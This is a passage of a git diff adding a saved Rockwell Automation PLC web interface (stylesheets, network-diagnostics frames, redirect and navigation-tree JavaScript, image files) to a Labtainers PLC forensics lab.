10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork.html new file mode 100644 index 000000000..c6faa552e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork.html new file mode 100644 index 000000000..50b4f09ab --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork.html @@ -0,0 +1,107 @@ + + +Rockwell Automation + + + + + +
+ + + + + + + + + + + + +
Diagnostic OverviewNetwork SettingsMessage ConnectionsEthernet Statistics
+ + + + + + + +

+ + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Network Interface
Ethernet Address (MAC)00:00:DE:AD:BE:EF
IP Address10.1.100.2
Subnet Mask255.255.0.0
Default Gateway10.1.0.2
Primary Name Server
Secondary Name Server
Default Domain Name
Host Name
Name ResolutionDNS Enabled
SMTP Server

+ + + + + + +
Ethernet Interface + Configuration
Obtain Network ConfigurationStatic

+ + + + + + + + + + + + +
Ethernet Link
Autonegotiate StatusAutonegotiate Speed and Duplex
Port Speed100 Mbps
Duplex ModeHalf Duplex

diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/diagnetwork_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ 